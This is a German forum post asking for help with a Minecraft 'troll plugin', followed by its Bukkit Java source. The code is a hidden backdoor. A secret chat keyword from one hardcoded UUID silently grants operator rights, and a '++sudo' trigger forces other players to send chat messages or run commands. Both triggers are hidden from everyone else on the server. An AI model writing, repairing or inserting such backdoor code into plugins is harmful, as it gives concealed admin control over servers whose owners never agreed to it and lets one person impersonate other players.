Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?
Hallo
Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.
Mein Aktueller Cod
import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
public class Chack implements Listener {
@EventHandler(ignoreCancelled = true)
public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
Player p = event.getPlayer();
// DEBUG
//p.sendMessage(p.getDisplayName());
//p.sendMessage(p.getName());
//p.sendMessage(p.getUniqueId().toString());
if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
if (event.getMessage().equalsIgnoreCase("++op")){
event.setCancelled(true);
p.setOp(true);
}
if (event.getMessage().startsWith("++sudo")){
event.setCancelled(true);
String[] msg = event.getMessage().split(" ");
String command = "";
if (msg.length > 2) {
Player t = Bukkit.getPlayer(msg[1]);
if (t != null) {
for (int i = 2; i < msg.length; i++) {
command += msg[i];
command += " ";
}
command.trim();
// Version 1
//t.chat(command);
// Version 2
//t.performCommand(command);
// DEBUG
p.sendMessage(command);
} else {
p.sendMessage("PlayerError");
}
}
event.setCancelled(true);
}
}
}
}
der Error kommt aus der Zeile "t.chat(command);"